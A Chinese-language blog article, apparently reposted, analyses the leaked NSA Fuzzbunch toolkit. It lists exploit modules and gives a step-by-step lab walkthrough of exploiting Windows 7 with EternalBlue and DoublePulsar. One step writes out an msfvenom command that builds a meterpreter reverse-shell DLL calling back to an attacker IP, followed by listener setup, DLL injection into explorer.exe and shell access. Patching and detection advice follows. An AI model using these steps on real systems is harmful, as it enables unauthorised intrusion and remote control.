Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例


1 整体目录介绍

解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:

1. windows目录针对Windows操作系统的利用工具和相关攻击代码;

2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;

3. oddjob目录是后门Rootkit等相关文档;

1.1 框架介绍

我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:

1. fb.py

2. start_lp.py

1.2 FB模块介绍

fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunchfb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。

fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。

1.3 start模块介绍

start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:

2 fuzzbunch的插件列表和影响的服务与版本

2.1 ImplantConfig 植入工具模块

  • Darkpulsar 1.1.0 操控NTLM或 加载shellcode

  • Mofconfig 1.0.0

2.2 ListeningPost

  • 内容未公开

2.3.Exploit 漏洞利用模块

  • Easybee 1.0.1Mdaemon漏洞

  • Easypi 3.1.0 IBM Lotus漏洞

  • Eclipsedwing 1.5.2MS08–067

  • Educatedscholar 1.0.0MS09–050

  • Emeraldthread 3.0.0MS10–061

  • Emphasismine 3.4.0IBM Lotus Domino漏洞

  • Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞

  • Erraticgopher 1.0.1SMB漏洞

  • Eskimoroll 1.1.1MS14–068

  • Esteemaudit 2.1.0RDP漏洞

  • Eternalromance 1.4.0SMBv1 漏洞

  • Eternalsynergy 1.0.1SMB漏洞

  • Ewokfrenzy 2.0.0Domino漏洞

  • Explodingcan 2.0.2IIS漏洞利用工具

  • Zippybeer 1.0.2 域控漏洞

2.4 Touch 信息探测、漏洞测试模块

  • Architouch 1.0.0

  • Domaintouch 1.1.1

  • Eclipsedwingtouch 1.0.4

  • Educatedscholartouch 1.0.0

  • Emeraldthreadtouch 1.0.0

  • Erraticgophertouch 1.0.1

  • Esteemaudittouch 2.1.0

  • Explodingcantouch 1.2.1

  • Iistouch 1.2.2

  • Namedpipetouch 2.0.0

  • Printjobdelete 1.0.0

  • Printjoblist 1.0.0

  • Rpctouch 2.1.0

  • Smbtouch 1.1.1

  • Webadmintouch 1.0.1

  • Worldclienttouch 1.0.1

2.5 Payload Payload模块

  • Doublepulsar 1.3.1支持 DLL 后门 和 shellcode

  • Jobadd 1.1.1

  • Jobdelete 1.1.1

  • Joblist 1.1.1

  • Pcdlllauncher 2.3.1

  • Processlist 1.1.1

  • Regdelete 1.1.1

  • Regenum 1.1.1

  • Regread 1.1.1

  • Regwrite 1.1.1

  • Rpcproxy 1.0.1

  • Smbdelete 1.1.1

  • Smblist 1.1.1

  • Smbread 1.1.1

  • Smbwrite 1.1.1

2.6 Special 专用模块

  • Eternalblue 2.2.0 SMB漏洞 MS17–010

  • Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147

检测与建议

  • 通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar

  • ms17-017 检查 ,可通过metasploit代码:smb_ms17_010.rb

  • Microsoft的影响评价:Protecting customers and evaluating risk

  • ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical

3 fuzzbunch实验环境介绍

3.1 靶机环境介绍:

1. Fuzzbunch运行环境,操作系统:Windows 7;

2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

3.1 控制端系统,操作系统:Kali1.1;

3.2 漏洞利用流程,以Eternalblue举例:

1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:

2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:

3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:

4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:

5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:

6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:

9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:

10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:

13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

14. 在kali进行反向TCP监听的配置,如下图:

  • 命令:use exploit/multi/handler,

  • payload:windows/meterpreter/reverse_tcp

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:

16. 配置注入的dll的程序,我们选择explorer.exe。如下图:

17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:

18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:

19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

20. 运行shell,执行whoami指令。如下图:

4 总结

从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:

  • 升级系统补丁,确保补丁更新到最新版本。

  • 关闭没有补丁的服务

  • 使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。

NSA Fuzzbunch分析与利用案例的更多相关文章

  1. full gc频繁的分析及解决案例

    full gc频繁的分析及解决案例 2016-04-14 09:20:54      0个评论    来源:end's coding life   收藏   我要投稿 现象 ? 1 系统报警full ...

  2. FakeID签名漏洞分析及利用(二)

    本文转自:http://blog.csdn.net/l173864930/article/details/38409521 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公 ...

  3. word漏洞分析与利用

    众所周知,溢出漏洞从应用形式上可分为远程服务溢出漏洞和客户端(本地)溢出漏洞两类.远程服务溢出漏洞大家很熟悉了,红色代码.冲击波.振荡波等蠕虫都利用了此类漏洞,漏洞的调试和利用有相应的一套方法,前面的 ...

  4. 【转】cve2014-3153 漏洞之详细分析与利用

    背景学习: Linux Futex的设计与实现 使用者角度看bionic pthread_mutex和linux futex实现 By kernux TopSec α-lab 一 漏洞概述 这个漏洞是 ...

  5. 《gis空间分析及应用案例解析》培训总结

    <gis空间分析及应用案例解析>培训总结 来源:常德水情 作者:唐校准 发布日期:2014-01-02       2013年12月2630日由中国科学院计算技术研究所教育中心组织的< ...

  6. Vivotek 摄像头远程栈溢出漏洞分析及利用

    Vivotek 摄像头远程栈溢出漏洞分析及利用 近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃. 漏洞作者@bashis 放出了可造成摄像头 C ...

  7. CVE-2014-3153分析和利用

    本文是结合参考资料对CVE-2014-3153的分析,当然各位看官可以看最后的资料,他们写的比我好. 在看CVE-2014-3153之前我们用参考资料4中例子来熟悉下这类漏洞是如何产生的: /** * ...

  8. 【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用

    /作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 漏洞简介 CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的 ...

  9. Java练习小题_求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将a[i][i]累加后输出。

    要求说明: 题目:求一个3*3矩阵对角线元素之和,矩阵的数据用行的形式输入到计算机中 程序分析:利用双重for循环控制输入二维数组,再将 a[i][i] 累加后输出. 实现思路: [二维数组]相关知识 ...

随机推荐

  1. 浩哥解析MyBatis源码(二)——Environment环境

    原创作品,可以转载,但是请标注出处地址:http://www.cnblogs.com/V1haoge/p/6625612.html 本应该先开始说Configuration配置类的,但是这个类有点过于 ...

  2. Kafka-4614问题复盘 (MappedByteBuffer未关闭导致慢磁盘访问)

    很早之前就想动笔就这个kafka bug总结一番了,只是这个问题既不是本人发现,也不是自己动手修复,终归是底气不足,故而一直耽搁下来.怎奈此问题实在是含金量十足,又恰逢最近有人询问Kafka 0.10 ...

  3. Unity - 通过降低精度减少动画文件的大小

    Animation是Unity中的动画文件,主要内容由一个个关键帧数据构成.通过将Unity的资源序列化方式调整为Text,就可以以文本方式查看动画文件.通过菜单项Edit -> Project ...

  4. 原生JS实现弹出窗口的拖拽

    上一篇说了一下弹出窗口功能的实现思路,一般情况下紧接着就会需要做到弹窗的移动,当然现在有很插件.库比如hammer可以使用,效率也非常好.但我觉得还是有必要了解一下原生JS的实现思路及方式,如下: 思 ...

  5. Java设计模式GOF之单例模式

    一.单例模式(Singleton) 1.单例模式应用场景: ①Servlet ②任务管理器 ③链接池 ④Spring中每个 bean 默认是单例 ⑤网站计数器 2.单例要求 ①构造器私有 ②私有的静态 ...

  6. 从Hosting开始

    一.介绍: Hosting作为用户编程入口,往下管理HttpServer,往上构建并调用Http请求中间件的管线(RequestDelegate 在HttpAbstractions模块细说),承上启下 ...

  7. 性能调优:mysql之left join

    poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜任自动化测试,性能测试,测试工具开发等工作为目标.如果对课程感兴趣,请大家咨询qq:908821478,咨询电话010-845052 ...

  8. DUBBO高级配置:多注册中心配置

    有时候我们需要的服务不在同一个 zookeeper 注册中心上,此时我们需要在 DUBBO 配置文件中配置多个注册中心. 下面我们在之前创建项目的基础上在 provider 模块中增加一个 IBook ...

  9. App forensics

    A friend of mine claimed that someone stole her personal data via hacking certain App. She installed ...

  10. 使用HTTP的同步方式还是异步方式?

    同步与异步 同步:提交请求->等待服务器处理->处理完毕返回 这个期间客户端浏览器不能干任何事 异步: 请求通过事件触发->服务器处理(这是浏览器仍然可以作其他事情)->处理完 ...